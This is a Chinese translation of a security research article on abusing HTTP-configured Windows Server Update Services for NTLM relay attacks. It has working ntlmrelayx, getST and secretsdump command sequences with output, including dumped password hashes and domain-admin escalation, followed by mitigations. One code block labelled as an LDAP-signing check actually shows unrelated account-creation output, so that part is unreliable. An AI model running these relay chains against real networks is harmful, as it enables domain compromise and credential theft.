在本系列文章的第三部分中,GoSecure 道德黑客发现了另一种利用不安全的Windows Server Update Services (WSUS)配置的方法。通过利用 Windows 更新客户端提供的身份验证并将其中继到其他域服务,我们发现这可能导致远程代码执行。在本博客中,我们将分享我们的发现并推荐缓解措施。
WSUS 第 3 部分:NTLM 中继
这是我们研究 WSUS 漏洞的第三篇文章。在第一部分中,我们探索了 WSUS 协议本身,并实现了一个适用于 Windows 10 的概念验证 (PoC) 漏洞。在第二部分中,我们介绍了一个我们发现的允许本地权限升级到 SYSTEM 的漏洞 (CVE-2020-1013),并发布了一个概念验证 (PoC )。在本文中,我们将探讨如何滥用 WSUS 执行NTLM 中继攻击。
Windows Server Update Services (WSUS) 请求可以使用 HTTP 或 HTTPS 进行。配置 HTTP 后,这些请求可以被拦截并重定向到恶意服务器。当恶意服务器请求 NTLM 身份验证时,WSUS 客户端将尝试使用 NTLM 进行身份验证。根据具体情况,将使用当前登录用户的帐户或计算机帐户。此身份验证可以中继到其他系统,以在计算机或域中的其他系统上实现远程代码执行 (RCE)。这种行为并不新鲜,而且已经为人所知很长一段时间了。这篇博文的目的是正确地公开记录这种行为。
漏洞利用前提条件
为了成功利用此问题,需要满足以下先决条件:
-
能够拦截目标机器的流量(即 ARP 欺骗、物理桥接)
-
使用 HTTP(而非 HTTPS)的 WSUS 配置不安全
-
目标机器必须加入域(尚未识别反射中继)
-
可选:要使用 RBCD 实现 RCE,DC 不得要求 LDAP 签名或 LDAPS 通道绑定
WSUS 配置发现
让我们首先从攻击者/测试人员的角度来了解如何发现不安全的 WSUS 配置:
1.如果您已经有权访问受感染的域加入计算机,则只需检查存储在以下文件夹中的注册表项:
ComputerHKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdate
图 1 – Windows 注册表中的 WSUS 服务器配置
在最小部署(如上图所示)中,三个键指向单个 WSUS 服务器,即使用协议 ( http://) 作为前缀的更新服务器地址。如果 URL 以 HTTP 开头而不是 HTTPS 开头,则应注意,该配置很可能存在漏洞。
在大多数情况下,WSUS 配置通过组策略对象 (GPO) 推送到域计算机。因此,此配置在所有加入域的计算机上都应该相同。
2.在我们的研究过程中,我们还开发了一个小脚本来检查 GPO 并尝试找到 WSUS 配置。
如果找到WUServer注册表项配置,则会显示 WSUS 服务器的地址以及正在使用的协议(HTTP 或 HTTPS)。
# python scanWsusGPO.py -u john -p 'Admin1234!' -d hackinglabs.lan
Found 9 GPOs
Scanning ...
Found WSUS Server candidate: http://hl-wsus01.hackinglabs.lan:8530
3.作为最后的手段,您还可以检查流量并查找 HTTP 流量。
WSUS over HTTP 的常用端口是 8530,在执行 ARP 欺骗攻击后,您应该能够在 Wireshark 中以纯文本 HTTP 形式看到此流量。具体来说,有趣的请求是:
-
[POST]/SimpleAuthWebService/SimpleAuth.asmx
-
[POST] /ClientWebService/client.asmx
不安全的 WSUS over HTTP 漏洞利用
在我们的博客系列的第一部分和第二部分中,我们展示了如何利用 Active Directory 部署中的不安全 WSUS 配置。
然而,在实际尝试利用该漏洞后,我们时不时会遇到漏洞利用问题。例如,尽管成功拦截,但我们的恶意更新仍会提供,但并非总是自动安装,尤其是在服务器上。
我们发现,如果不安全的 WSUS 请求可以重定向到恶意 HTTP 服务器,则可以请求 NTLM 身份验证,并且 Windows Update 客户端将自动尝试向服务器进行身份验证。这似乎是 WSUS 的已知行为,过去已被Hot Potato利用来提升权限。跨协议 NTLM 反射不再起作用,但仍可以通过中继到网络上的其他目标来利用该行为。
Windows 更新流量可以通过多种方式拦截。例如,使用mitm6,可以伪造 WSUS 完全限定域名 (FQDN),从而允许你将请求重定向到恶意主机。由于请求通常会以 8530 TCP 端口为目标,因此传统渗透测试工具默认不会利用此端口。
也可以通过 ARP 欺骗攻击或任何其他类型的网络拦截攻击来实现,只要将 WSUS 流量重定向到恶意 HTTP 服务器即可:
# iptables -t nat -A PREROUTING -p tcp –-dport 8530 -j REDIRECT --to-ports 80
# responder -I eth0
图 3 – 通过将 WSUS 流量重定向到恶意 WSUS 服务器获取的 NTLMv2 哈希
在应用 KB4571756 和 KB4577041 修复 CVE-2020-1013 之后(有关详细信息,请参阅本博客系列的第 2 部分) ,此行为被修改回看似最初预期的行为。Windows 更新客户端不再使用用户帐户进行身份验证,而是专门使用机器帐户。
图 4 – 使用计算机帐户进行 NTLM 身份验证
在两种情况下(用户或机器帐户),由于连接来自 HTTP 协议,因此几乎所有中继选项都可根据目标网络配置使用,只要我们不尝试中继回同一台机器(反射)。
如果中继(用户或机器)帐户具有一些本地管理员权限,则在目标机器不强制执行 SMB 签名的情况下,中继到 SMB 将会起作用。可以使用impacket中的 ntlmrelayx 执行中继:
# ntlmrelayx.py -t smb://172.16.200.8 -smb2support
Impacket v0.9.22.dev1+20200713.100928.1e84ad60 - Copyright 2020 SecureAuth Corporation
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 172.16.205.26, attacking target smb://172.16.200.8
[*] HTTPD: Client requested path: /clientwebservice/client.asmx
[*] HTTPD: Received connection from 172.16.205.26, attacking target smb://172.16.200.8
[*] HTTPD: Client requested path: /clientwebservice/client.asmx
[*] HTTPD: Client requested path: /clientwebservice/client.asmx
[*] Authenticating against smb://172.16.200.8 as HACKINGLABSJohn SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x79e68100023493593be1a9332e7cd324
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Done dumping SAM hashes for host: 172.16.200.8
[*] Stopping service RemoteRegistry
此外,ntlmrelayx 的最新功能是 RPC 客户端中继功能,该功能在强制执行 SMB 签名时很有用,并允许直接中继到 DC:
# ntlmrelayx.py -tf targets.txt -smb2support -c 'echo pwn > C:test.txt'
Impacket v0.9.22.dev1+20200713.100928.1e84ad60 - Copyright 2020 SecureAuth Corporation
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 172.16.205.26, attacking target rpc://172.16.200.8
[*] HTTPD: Client requested path: /clientwebservice/client.asmx
[*] HTTPD: Received connection from 172.16.205.26, attacking target rpc://172.16.200.5
[*] HTTPD: Client requested path: /clientwebservice/client.asmx
[*] HTTPD: Client requested path: /clientwebservice/client.asmx
[*] Authenticating against rpc://172.16.200.5 as HACKINGLABSJohn SUCCEED
[*] Executing command echo pwn > C:test.txt in no output mode via ncacn_ip_tcp:172.16.200.5[49666]
[*] Creating task YTVTNsOF
[*] Running task YTVTNsOF
[*] Deleting task YTVTNsOF
[*] Completed!
在DC上,命令执行成功:
C:>dir
Volume in drive C has no label.
Volume Serial Number is B63B-C858
Directory of C:
04/13/2019 10:17 AM <DIR> PerfLogs
04/12/2019 10:54 PM <DIR> Program Files
07/16/2016 06:23 AM <DIR> Program Files (x86)
07/28/2020 07:48 AM 6 test.txt
10/31/2019 01:42 PM <DIR> Users
02/07/2020 10:07 AM <DIR> Windows
1 File(s) 6 bytes
5 Dir(s) 27,137,060,864 bytes free
C:>type test.txt
pwn
第一个用例:利用高权限帐户
在观察到 LDAP 签名和 LDAPS 通道绑定几乎从未在域控制器上强制执行后,感觉这些配置仍然被系统管理员大大低估了,因为其积极的安全影响并不总是被理解。微软计划从 2020 年初开始将其作为强制配置强制执行,但似乎这个补丁会延迟一段时间。
虽然有很多方法可以检查 SMB 签名要求,但对于 LDAP 签名要求,似乎很少有等效方法。为此,我们开发了一个脚本来检查它:
# addcomputer.py 'hackinglabs.lan/jbieber' -computer-name jbieberMachine
Impacket v0.9.22.dev1+20200611.111621.760cb1ea - Copyright 2020 SecureAuth Corporation
Password:[*] Successfully added machine account jbieberMachine$ with password ynqkdF5vuhuRBpiEDP7rxnVaBAnJlYwW.
请注意,执行此检查需要有效的域凭据。
在处理高权限域用户和域计算机时,中继到 LDAP 非常有用。在第一个用例中,通过将低权限用户添加到企业管理员组,将 WSUS HTTP 流量中继到 LDAP 将允许您获得域管理员权限:
# ntlmrelayx.py -t ldap://hl-dc01.hackinglabs.lan --escalate-user jbieber
[...]
[*] HTTPD: Received connection from 172.16.205.20, attacking target ldap://172.16.200.5
[*] HTTPD: Client requested path: /simpleauthwebservice/simpleauth.asmx
[*] HTTPD: Client requested path: /simpleauthwebservice/simpleauth.asmx
[*] Authenticating against ldap://172.16.200.5 as HACKINGLABSJohn SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[...]
TypeName: {'ACCESS_ALLOWED_ACE'}
[*] User privileges found: Create user
[*] User privileges found: Adding user to a privileged group (Enterprise Admins)
[*] User privileges found: Modifying domain ACL
[*] Querying domain security descriptor
[*] Success! User jbieber now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20200703-134003.restore
[*] Adding user: Justin Bieber to group Enterprise Admins result: OK[*] Privilege escalation succesful, shutting down...
在前面的示例中,被盗用的用户 jbieber 被升级到域管理员。如果您遇到的情况是没有被盗用的域用户,或者不想修改现有帐户的权限,您可以尝试向 LDAPS 中继,这将允许在中继帐户具有执行此操作的权限时创建新用户:
# ntlmrelayx.py -t ldaps://hl-dc01.hackinglabs.lan
第二个用例:从 SSRF 到远程代码执行 (RCE)
如前所述,wupdate 有时会使用域计算机帐户而不是用户帐户,尽管这种情况不太常见。在这种情况下,可以利用基于资源的约束委派 (RBCD)来实现 RCE 。这种中继攻击已在许多博客文章中介绍过,但通常针对高权限计算机帐户(例如 Exchange 服务器)或无约束委派服务器。从更一般的意义上讲,没有必要专门劫持高权限帐户才能使此攻击奏效。
首先,我们需要一个受我们控制的服务主体名称 (SPN) 才能使用 RBCD 实现 RCE。为此,可以使用MachineAccountQuota和我们拥有的有效域用户 (jbieber) 创建一个新机器帐户 (jbieberMachine):
# addcomputer.py 'hackinglabs.lan/jbieber' -computer-name jbieberMachine
Impacket v0.9.22.dev1+20200611.111621.760cb1ea - Copyright 2020 SecureAuth Corporation
Password:
[*] Successfully added machine account jbieberMachine$ with password ynqkdF5vuhuRBpiEDP7rxnVaBAnJlYwW.
现在,在 ARP 欺骗和重定向流量之后,可以使用此新计算机帐户执行中继到 LDAP,也可以使用 LDAPS(使用 add-computer 选项)创建一个帐户。如果您提供计算机帐户来升级,请不要忘记尾部的“$”(否则将找不到计算机帐户,并且攻击将失败):
# ntlmrelayx.py -t ldap://hl-dc01.hackinglabs.lan -smb2support --delegate-access --escalate-user 'jbieberMachine$'
Impacket v0.9.22.dev1+20200713.100928.1e84ad60 - Copyright 2020 SecureAuth Corporation
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 172.16.205.26, attacking target ldap://172.16.200.5
[*] HTTPD: Client requested path: /simpleauthwebservice/simpleauth.asmx
[*] HTTPD: Client requested path: /simpleauthwebservice/simpleauth.asmx
[*] HTTPD: Client requested path: /simpleauthwebservice/simpleauth.asmx
[*] Authenticating against ldap://172.16.200.5 as HACKINGLABSHL-WS02$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Delegation rights modified succesfully!
[*] jbieberMachine$ can now impersonate users on HL-WS02$ via S4U2Proxy
使用 jbieberMachine 计算机帐户,我们现在可以以用户 Administrator 身份在目标计算机 HL-WS02 上请求服务 CIFS 的票证:
# getST.py -spn cifs/HL-WS02.hackinglabs.lan 'hackinglabs.lan/jbieberMachine$' -impersonate Administrator
Impacket v0.9.22.dev1+20200713.100928.1e84ad60 - Copyright 2020 SecureAuth Corporation
Password:
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
票据已成功获取,我们现在可以使用它来破坏目标机器:
# secretsdump.py -k -no-pass HL-WS02.hackinglabs.lan
Impacket v0.9.22.dev1+20200713.100928.1e84ad60 - Copyright 2020 SecureAuth Corporation
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x3c02336adb245bd44f5a972211e610eb
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:f871aa595bee37b7fdf553ad510fe810:::
defaultuser0:1000:aad3b435b51404eeaad3b435b51404ee:018e9ac18981be35c6beb17966e99237:::
[…]
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
中继到 Active Directory 证书服务 (ADCS)
安全社区最近对 ADCS 的关注凸显了一种利用计算机帐户的 NTLM 中继的新方法,通过定位 ADCS 公开的 HTTP 服务并实现 RCE。
在许多情况下,当域上可以访问 ADCS 服务器时,如果可以触发 PetitPotam 或打印机错误,则这可能是提升域中权限的更直接方法。
但是,在目标计算机上无法访问 RPC/SMB 服务或禁用打印后台处理程序的情况下,将 WSUS 流量中继到 ADCS 将是另一个允许您获取 RCE 的选项。我们将把这留给我们的读者作为练习。如果您记录了这些内容,请告诉我们,我们将在此处链接到您的文章。
供应商响应
令我们惊讶的是,在向 Microsoft 披露此行为后,该问题似乎被视为一个漏洞,因为我们与 Microsoft 的交流建议归属 CVE 编号并发布修复程序。
但是,在 2021 年 1 月的“补丁星期二”之后,我们没有观察到任何修改后的行为。漏洞细节非常模糊,并且与我们团队早些时候发现的其他 WSUS 发现一起打包。这证实了我们最初的想法,即此行为是有意为之,并且不会很快被修改。
缓解
与针对 WSUS 客户端的其他漏洞一样,我们强烈建议将 WSUS 配置为通过安全的 HTTPS 传输进行通信。如果 WSUS 客户端缺少正确的证书验证,则会在 TLS 握手期间关闭连接,从而避免连接到恶意服务器。
此外,应通过在公开远程 SMB 服务和可通过 NTLM 进行身份验证的任何其他服务的所有域计算机上强制实施签名验证来降低 NTLM 中继攻击的风险。
同样,应将域控制器上的 LDAP 服务配置为强制实施签名和 LDAP 通道绑定。
对于能够承受此类更改的小型企业,在 Windows 域中完全禁用 NTLM 身份验证并切换到 Kerberos 将更加安全。
结论
正如我们所展示的,可以通过多种方式利用 HTTP 上的 WSUS。即使以前的利用技术不起作用,NTLM 中继也是另一种选择,它可能导致使用 RBCD 的敏感域帐户或 RCE 遭到入侵。
原文始发于微信公众号(Ots安全):GoSecure 调查滥用 Windows Server 更新服务 (WSUS) 来启用 NTLM 中继攻击
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论